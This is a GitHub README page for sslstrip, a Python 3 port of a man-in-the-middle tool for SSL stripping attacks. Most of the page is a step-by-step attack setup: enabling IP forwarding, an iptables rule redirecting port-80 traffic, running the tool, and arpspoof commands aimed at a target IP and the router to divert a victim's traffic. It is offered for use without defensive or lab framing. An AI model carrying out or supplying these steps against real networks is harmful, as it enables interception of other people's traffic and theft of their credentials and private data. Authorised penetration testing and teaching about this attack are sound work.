L1ghtn1ng / sslstrip

A tool for exploiting Moxie Marlinspike's SSL "stripping" attack.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.

Ported from Python v2 to v3 by Jay Townsend (theHarvester, Discover, and DNSrecon).

  • Twitter Follow Jay "L1ghtn1ng" Townsend @jay_townsend1

Requirements:
pip3 install -r requirements.txt
Install the requirements in a virtualenv

Running:
sslstrip can be run from the source base without installation.
Run as a normal user to see options.
python3 sslstrip.py -h

  1. As root, enable IP forwarding:
    echo "1" > /proc/sys/net/ipv4/ip_forward

  2. As root, setup iptables to intercept HTTP requests:
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <your listen port>

  3. Run sslstrip with the options you prefer.

  4. As root, run arpspoof to redirect traffic to your host:
    arpspoof -i <your network interface> -t <target IP> <routers IP>

About

A tool for exploiting Moxie Marlinspike's SSL "stripping" attack.

License:GNU General Public License v3.0


Languages

Language:Python 100.0%